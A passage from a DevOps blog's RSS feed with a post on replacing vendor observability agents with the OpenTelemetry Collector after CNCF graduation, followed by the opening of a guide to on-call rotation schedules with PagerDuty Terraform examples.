<li><a href="https://github.com/fluid-cloudnative/fluid">Fluid project on GitHub</a></li>
<li><a href="https://www.alluxio.io/">Alluxio docs</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[OpenTelemetry Just Graduated: What to Retire from Your Stack This Quarter]]></title>
      <link>https://devops.anhp.site/posts/opentelemetry-graduated-what-to-retire-this-quarter</link>
      <description><![CDATA[On May 21, 2026, CNCF graduated OpenTelemetry. All three core signals (traces, metrics, logs) are now production-ready, the project is the second-most-active in CNCF after Kubernetes itself, and Anthropic, Bloomberg, Capital One, eBay, and Heroku run it at scale. Here is the decision framework for what proprietary agents you can stop running, what is still risky, and the 90-day adoption checklist.]]></description>
      <pubDate>Tue, 26 May 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/opentelemetry-graduated-what-to-retire-this-quarter</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[OpenTelemetry]]></category><category><![CDATA[Observability]]></category><category><![CDATA[CNCF]]></category><category><![CDATA[DevOps]]></category><category><![CDATA[Kubernetes]]></category>
      <content:encoded><![CDATA[<p>On May 21, 2026, the <a href="https://www.cncf.io/announcements/2026/05/21/cloud-native-computing-foundation-announces-opentelemetrys-graduation-solidifying-status-as-the-de-facto-observability-standard/">Cloud Native Computing Foundation graduated OpenTelemetry</a> at the Observability Summit in Minneapolis. The headline number is that OTel is now the second-most-active project in the CNCF behind Kubernetes itself, with more than 12,000 contributors from 2,800 companies. The numbers most teams should care about are the ones underneath: traces, metrics, and logs are all production-stable as of this graduation. Profiling moved to alpha at the same time.</p>
<p>If your team has been running OpenTelemetry alongside a vendor-specific agent (Datadog Agent, New Relic Agent, Splunk Universal Forwarder, Dynatrace OneAgent, the AWS X-Ray daemon) because &quot;OTel isn&#39;t quite there yet,&quot; the calculus changed last week. This post is the practical version: which proprietary agents you can actually retire, which to keep, and the 90-day rollout plan that gets you to a single OTel Collector shipping to whichever backends your team uses.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>CNCF graduation criteria require independent security audit, formal governance review, and proven production adoption. OpenTelemetry cleared all three with the third-largest contributor base in cloud-native.</li>
<li>All three core signals (traces, metrics, logs) are now production-ready. Profiles is alpha.</li>
<li>The OTel Collector is the unified shipping layer. You run one collector per host or per cluster, and it fans out to any combination of backends. No more &quot;one agent per vendor&quot;.</li>
<li>Retire candidates: Datadog Agent, New Relic Infrastructure Agent, Splunk Universal Forwarder for logs+metrics, FluentBit/FluentD log-only paths, Prometheus node_exporter scrape pipelines you still own. Each has an OTel equivalent that&#39;s production-stable.</li>
<li>Keep for now: vendor APM auto-instrumentation libraries on languages where OTel&#39;s contrib instrumentation hasn&#39;t caught up (Ruby on Rails edges, older PHP versions), eBPF profilers that depend on vendor-specific kernel modules.</li>
<li>90-day rollout: collector in shadow mode → one signal at a time → kill the proprietary agent → repeat per language runtime.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A cluster or fleet where you can deploy a sidecar/DaemonSet without a change-management committee.</li>
<li>At least one observability vendor account that can ingest OTLP/HTTP or OTLP/gRPC. Every major vendor accepts it now, but verify the endpoint and the auth header before you start a migration.</li>
<li>Inventory of every agent currently running. <code>ps aux | grep -iE &#39;datadog|newrelic|splunkd|fluentd|fluent-bit|otelcol&#39;</code> on one production host gets you a starting list.</li>
</ul>
<h2 id="h2-what-graduation-actually-unlocks" class="group relative scroll-mt-24">
        <a href="#h2-what-graduation-actually-unlocks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What graduation actually unlocks
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-graduation-actually-unlocks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>CNCF graduation is more than a vanity badge. To clear the bar, a project needs to pass an independent security audit, hold a formal governance review with the TOC, and demonstrate widespread production adoption. The full criteria are in CNCF&#39;s <a href="https://github.com/cncf/toc/blob/main/process/graduation_criteria.md">Graduation policy</a>. Projects that have graduated before OTel include Kubernetes, Helm, Prometheus, etcd, and Envoy. The bar is meaningful.</p>
<p>For OpenTelemetry specifically, what changed at graduation is mostly social rather than technical. The bits were already there. Graduation tells your security team, your platform leads, and your CFO that this is a safe project to standardize on. The argument &quot;let&#39;s wait until OTel is more mature&quot; is now formally over. If you&#39;re still running three agents per host to satisfy three teams&#39; tool preferences, the cost-of-status-quo math just shifted.</p>
<p>The most useful technical surface OTel offers is the <a href="https://opentelemetry.io/docs/collector/">Collector</a>. One binary, one config, and it can:</p>
<ul>
<li>Receive traces, metrics, and logs over OTLP (or scrape Prometheus, tail log files, pull host metrics, hook into eBPF).</li>
<li>Process them (sample, batch, redact PII, attach k8s metadata, tail-sample on error).</li>
<li>Export to anywhere. Datadog, New Relic, Splunk, Honeycomb, Grafana Cloud, Tempo, Mimir, Loki, ClickHouse, S3, whatever.</li>
</ul>
<p>The &quot;one collector, many backends&quot; architecture is what makes the retire-the-vendor-agents play work. You&#39;re not removing your observability, you&#39;re removing the layer that locked you to a single ingestion path.</p>
<h2 id="h2-whats-actually-production-stable" class="group relative scroll-mt-24">
        <a href="#h2-whats-actually-production-stable" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What's actually production-stable
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-whats-actually-production-stable"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The CNCF announcement explicitly named all three core signals as production-ready:</p>
<pre><code class="hljs language-text">Traces       : Stable (since 2023)
Metrics      : Stable (since late 2023)
Logs         : Stable
Profiles     : Alpha (just promoted)
</code></pre><p>The signal-status nuance worth knowing:</p>
<ul>
<li><strong>Traces</strong> were the first to stabilize and are by far the most mature. The auto-instrumentation libraries for Node.js, Python, Java, and .NET are at parity with the closed-source equivalents from APM vendors for most application frameworks. Go and Rust still benefit from manual instrumentation in some hot paths.</li>
<li><strong>Metrics</strong> are stable but have one foot in the Prometheus world. If your team already runs Prometheus servers, OTel metrics give you a way to ship the same metric to Prometheus AND a SaaS without scraping twice. The OTel-Prometheus interop story is solid.</li>
<li><strong>Logs</strong> stabilized later than traces and metrics. The OTel logging SDKs are production-ready, but the ergonomics on existing structured-logger libraries (log/slog in Go, the Python logging module, Java&#39;s Logback) still feel like a wrapper layer. Functional, but if you have a working Fluent Bit pipeline that nobody complains about, the migration ROI is lower than for traces.</li>
<li><strong>Profiles</strong> is alpha and should be treated as such. eBPF-based profilers (Parca, Pyroscope) are still the right choice if continuous profiling is core to your workflow. Revisit in 12 months.</li>
</ul>
<h2 id="h2-retire-from-stack-candidates-ranked-by-roi" class="group relative scroll-mt-24">
        <a href="#h2-retire-from-stack-candidates-ranked-by-roi" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Retire-from-stack candidates, ranked by ROI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-retire-from-stack-candidates-ranked-by-roi"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>These are the proprietary agents where I&#39;d push hardest to replace with the OTel Collector. ROI here is &quot;engineering hours saved per quarter&quot; plus &quot;one-fewer-agent attack surface.&quot;</p>
<h3 id="h3-high-confidence-replace" class="group relative scroll-mt-24">
        <a href="#h3-high-confidence-replace" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          High-confidence: replace
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-high-confidence-replace"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Datadog Agent → OTel Collector + datadog exporter.</strong> Datadog accepts OTLP natively now. The OTel Collector&#39;s <code>datadogexporter</code> is maintained by Datadog and ships traces/metrics/logs into your existing Datadog org. You keep the dashboards, the SLOs, the monitors. You stop running their proprietary agent on every host. Their docs at <a href="https://docs.datadoghq.com/opentelemetry/">https://docs.datadoghq.com/opentelemetry/</a> walk through it.</p>
<p><strong>New Relic Infrastructure Agent → OTel Collector + otlp exporter.</strong> Same shape. New Relic has supported OTLP ingestion for over a year. The cutover is a Collector config + an env var change on your services.</p>
<p><strong>Splunk Universal Forwarder for logs and metrics → OTel Collector + splunk_hec exporter.</strong> Splunk Observability is built on OpenTelemetry internally, and Splunk Enterprise accepts HEC over OTLP. If you&#39;re still running UF on every host for the &quot;send everything to indexer&quot; pattern, the OTel Collector does it with smaller memory and CPU footprint.</p>
<p><strong>FluentBit / FluentD log-only deployments → OTel Collector with filelog receiver.</strong> Slightly more controversial because FluentBit is excellent at what it does and has a smaller binary. The argument is consolidation: if you&#39;re already running an OTel Collector for traces and metrics, adding the filelog receiver removes the second daemon. If you&#39;re not, FluentBit stays the right call.</p>
<p><strong>Prometheus node_exporter + scrape pipeline you maintain → OTel Collector with hostmetrics receiver.</strong> For the case where you&#39;re scraping a fleet you control, the hostmetrics receiver gives you the same dimensions (CPU, memory, disk, network, filesystem) with one less moving part. For the case where you scrape arbitrary apps that expose Prometheus endpoints, keep the scrape; the OTel Collector can do that scraping too.</p>
<h3 id="h3-keep-for-now" class="group relative scroll-mt-24">
        <a href="#h3-keep-for-now" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Keep for now
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-for-now"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Vendor APM auto-instrumentation libraries</strong> on languages where OTel-contrib lags. Ruby on Rails apps that depend on the Datadog <code>dd-trace-rb</code> for AR span enrichment, older PHP 7.x where the OTel PHP SDK is still maturing. The right move is to keep the vendor lib in those services and use the OTel Collector as the egress layer.</p>
<p><strong>eBPF profilers with vendor-specific kernel modules.</strong> Pyroscope and Parca have great OTel integration paths. Datadog&#39;s continuous profiler uses its own kernel hook. If you depend on the Datadog profiler today, OTel profiles being alpha is not enough to switch.</p>
<p><strong>AWS X-Ray daemon</strong> if you&#39;re heavily invested in X-Ray as a backend. AWS accepts OTLP, but X-Ray&#39;s free tier and ECS Fargate-native integration make the X-Ray daemon a defensible choice for AWS-only shops. For multi-cloud, OTel.</p>
<h2 id="h2-the-90-day-rollout-plan" class="group relative scroll-mt-24">
        <a href="#h2-the-90-day-rollout-plan" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The 90-day rollout plan
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-90-day-rollout-plan"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The pattern that works is the same in every team I&#39;ve seen do this without an incident:</p>
<p><strong>Days 1-14: shadow-mode collector.</strong> Deploy the OTel Collector as a sidecar (per pod) or DaemonSet (per node) alongside your existing agents. Configure it to receive but not export to your production backend yet. The receiver-only config is two lines:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">receivers:</span>
  <span class="hljs-attr">otlp:</span>
    <span class="hljs-attr">protocols:</span>
      <span class="hljs-attr">grpc:</span> { <span class="hljs-attr">endpoint:</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-string">:4317</span> }
      <span class="hljs-attr">http:</span> { <span class="hljs-attr">endpoint:</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-string">:4318</span> }
<span class="hljs-attr">processors:</span>
  <span class="hljs-attr">batch:</span> {}
<span class="hljs-attr">exporters:</span>
  <span class="hljs-attr">debug:</span> {}
<span class="hljs-attr">service:</span>
  <span class="hljs-attr">pipelines:</span>
    <span class="hljs-attr">traces:</span>
      <span class="hljs-attr">receivers:</span> [<span class="hljs-string">otlp</span>]
      <span class="hljs-attr">processors:</span> [<span class="hljs-string">batch</span>]
      <span class="hljs-attr">exporters:</span> [<span class="hljs-string">debug</span>]
</code></pre><p>Point one canary service at the collector via <code>OTEL_EXPORTER_OTLP_ENDPOINT</code>. Validate the data shape in the debug log. No production impact, no SLO risk.</p>
<p><strong>Days 15-30: fan-out to your real backend.</strong> Add your vendor&#39;s OTel exporter. Run it as a parallel write path to your existing agent. Diff the dashboards. If traces show up in Datadog through both paths and the counts match within 1%, you have proof.</p>
<p><strong>Days 30-60: kill the agent, one signal at a time.</strong> Start with traces (lowest dashboard surface area for most teams). Disable the vendor agent&#39;s tracing collection, leave its metrics and logs paths intact. Watch the trace dashboard for a week. If it stays steady, move metrics next, then logs.</p>
<p><strong>Days 60-90: standardize the collector config across the fleet.</strong> Pull the per-service collector YAMLs into a shared Helm chart or Terraform module. Bake in the processors you actually need (PII redaction, tail sampling, k8s metadata enrichment). Add a regression test that fails CI if the collector config drifts.</p>
<p>By day 90 the canary service is fully on OTel, you&#39;ve retired the vendor agent on one service tier, and you have a reusable rollout recipe for the rest of the fleet.</p>
<h2 id="h2-what-this-doesnt-fix" class="group relative scroll-mt-24">
        <a href="#h2-what-this-doesnt-fix" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What this doesn't fix
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-this-doesnt-fix"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>OpenTelemetry graduating doesn&#39;t mean observability is solved. Three things it still doesn&#39;t address:</p>
<ul>
<li><strong>Backend pricing.</strong> Switching your shipping layer to OTel doesn&#39;t change what Datadog charges per host. You get optionality (you can swap backends later), not immediate cost savings.</li>
<li><strong>Cardinality explosion.</strong> OTel makes it easier than ever to instrument everything. If you add a <code>user_id</code> attribute to every span without sampling, your bill will go through the roof faster than before, just in OTLP format.</li>
<li><strong>Correlation across signals.</strong> OTel defines the formats. The actual cross-signal correlation (trace_id on a log, span_id on a metric exemplar) still depends on instrumentation discipline at each service. Graduation doesn&#39;t automatically wire your existing log lines into your traces.</li>
</ul>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>OpenTelemetry graduating from CNCF on May 21 is the formal signal that the standard-or-not debate is over. All three core signals are production-stable, the project&#39;s velocity is second only to Kubernetes, and every major observability backend now accepts OTLP. The realistic action for most teams: deploy the OTel Collector in shadow mode this quarter, validate against your existing pipeline, and retire one proprietary agent per signal over 90 days.</p>
<p>If you only do one thing this week, run <code>ps aux | grep -iE &#39;datadog|newrelic|splunkd|fluentd&#39;</code> on a production host and count what&#39;s still there. That&#39;s your retire list. The collector that replaces all of them is one Helm install away.</p>
<p>Sources:</p>
<ul>
<li><a href="https://www.cncf.io/announcements/2026/05/21/cloud-native-computing-foundation-announces-opentelemetrys-graduation-solidifying-status-as-the-de-facto-observability-standard/">CNCF announcement: OpenTelemetry graduates</a></li>
<li><a href="https://opentelemetry.io/docs/collector/">OpenTelemetry Collector docs</a></li>
<li><a href="https://docs.datadoghq.com/opentelemetry/">Datadog OTel ingestion docs</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[How to Build an Effective On-Call Rotation and Escalation Policy]]></title>
      <link>https://devops.anhp.site/posts/on-call-rotation-escalation-policy-guide</link>
      <description><![CDATA[Your phone buzzed at 3:14 AM for a disk warning that auto-resolved by 3:16. Nobody fixes the alert. The next person on rotation hates their life. Here is how to build on-call schedules, escalation policies, and alert rules that respect your engineers.]]></description>
      <pubDate>Mon, 25 May 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/on-call-rotation-escalation-policy-guide</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[incident-management]]></category><category><![CDATA[on-call]]></category><category><![CDATA[escalation]]></category><category><![CDATA[alert-fatigue]]></category><category><![CDATA[sre]]></category><category><![CDATA[devops]]></category><category><![CDATA[observability]]></category>
      <content:encoded><![CDATA[<p>Your phone buzzes at 3:14 AM. It is a <code>DiskUsageHigh</code> warning on a staging node. By the time you grab your laptop, it has auto-resolved. You go back to sleep, except now you are wide awake at 4 AM staring at the ceiling, knowing the next page might be a real incident. On Monday, you mention it in standup. Someone says &quot;yeah, that one fires all the time.&quot; Nobody opens a ticket. Next week the next person on rotation gets the same page.</p>
<p>This is how on-call rotations rot. Not from one bad incident, but from a slow leak of trust between engineers and the alerts they answer to. Building an on-call rotation that does not burn people out is a design problem, not a tooling problem. The tooling matters, but only after you decide what should wake a human up and what should not.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A good on-call rotation has three pieces: a schedule that is fair and predictable, an escalation policy that catches dropped pages without spamming everyone, and an alert pipeline that only pages humans for things humans can act on right now. Get all three right and on-call becomes tolerable. Get any one wrong and people will quit.</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>An alerting backend like Alertmanager, PagerDuty, Opsgenie, or Grafana OnCall</li>
<li>Prometheus or another metrics source that fires alerts</li>
<li>A team of at least four engineers (anything smaller and you are running a hero rotation, which is a separate problem)</li>
<li>Buy-in from your manager that on-call work is real work, not a side task</li>
</ul>
<h2 id="h2-step-1-design-the-schedule-before-you-pick-the-tool" class="group relative scroll-mt-24">
        <a href="#h2-step-1-design-the-schedule-before-you-pick-the-tool" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 1: Design the Schedule Before You Pick the Tool
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-1-design-the-schedule-before-you-pick-the-tool"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Most teams jump straight into PagerDuty and start clicking. Stop. Decide the shape of the rotation first.</p>
<p>The three common shapes:</p>
<ul>
<li><strong>Weekly rotation</strong>: one engineer carries the pager for 7 days. Simple, but brutal if your service is noisy. Good for low-volume rotations.</li>
<li><strong>Follow-the-sun</strong>: hand off every 8 to 12 hours across timezones. Best if you have engineers in at least two regions. Nobody gets paged at 3 AM.</li>
<li><strong>Split primary/secondary</strong>: a primary handles the page, a secondary backs them up if the primary misses it. Adds redundancy without doubling the load.</li>
</ul>
<p>For most teams between 5 and 15 engineers in one timezone, the right answer is a weekly rotation with a secondary on a separate, offset schedule. Here is what that looks like as Terraform with the PagerDuty provider:</p>
<pre><code class="hljs language-hcl"><span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;pagerduty_schedule&quot;</span> <span class="hljs-string">&quot;primary_oncall&quot;</span> {
  name      = <span class="hljs-string">&quot;Platform Primary On-Call&quot;</span>
  time_zone = <span class="hljs-string">&quot;Europe/London&quot;</span>

  layer {
    name                         = <span class="hljs-string">&quot;Weekly Rotation&quot;</span>
    start                        = <span class="hljs-string">&quot;2026-06-01T09:00:00Z&quot;</span>
    rotation_virtual_start       = <span class="hljs-string">&quot;2026-06-01T09:00:00Z&quot;</span>
    rotation_turn_length_seconds = <span class="hljs-number">604800</span>  <span class="hljs-comment"># 7 days</span>
    users = [
      pagerduty_user.alice.id,
      pagerduty_user.bob.id,
      pagerduty_user.carol.id,
      pagerduty_user.dave.id,
      pagerduty_user.eve.id,
    ]
  }
}

<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;pagerduty_schedule&quot;</span> <span class="hljs-string">&quot;secondary_oncall&quot;</span> {
  name      = <span class="hljs-string">&quot;Platform Secondary On-Call&quot;</span>
  time_zone = <span class="hljs-string">&quot;Europe/London&quot;</span>

  layer {
    name                         = <span class="hljs-string">&quot;Offset Weekly Rotation&quot;</span>
    start                        = <span class="hljs-string">&quot;2026-06-04T09:00:00Z&quot;</span>  <span class="hljs-comment"># offset 3 days</span>
    rotation_virtual_start       = <span class="hljs-string">&quot;2026-06-04T09:00:00Z&quot;</span>
    rotation_turn_length_seconds = <span class="hljs-number">604800</span>
    users = [
      pagerduty_user.alice.id,
      pagerduty_user.bob.id,
      pagerduty_user.carol.id,
      pagerduty_user.dave.id,
      pagerduty_user.eve.id,
    ]
  }
}
</code></pre><p>The 3-day offset means the same person is never primary and secondary at the same time. It also means everyone gets a clear &quot;I am on&quot; week and a separate &quot;I am the backup&quot; week.</p>
<p>A few rules that prevent rotations from collapsing:</p>
<ul>
<li><strong>Publish the schedule at least 8 weeks ahead.</strong> People plan weddings, holidays, school pickups. Surprise shifts kill morale faster than the actual pages do.</li>
<li><strong>Let people swap shifts without asking permission.</strong> Build a Slack channel, not a request queue. The only rule should be &quot;find your own replacement before swapping.&quot;</li>
<li><strong>Pay for it, or give time off in lieu.</strong> Unpaid on-call is theft. If you cannot pay, give the on-call engineer a half-day off after a busy week.</li>
</ul>
<h2 id="h2-step-2-build-an-escalation-policy-that-actually-catches-drops" class="group relative scroll-mt-24">
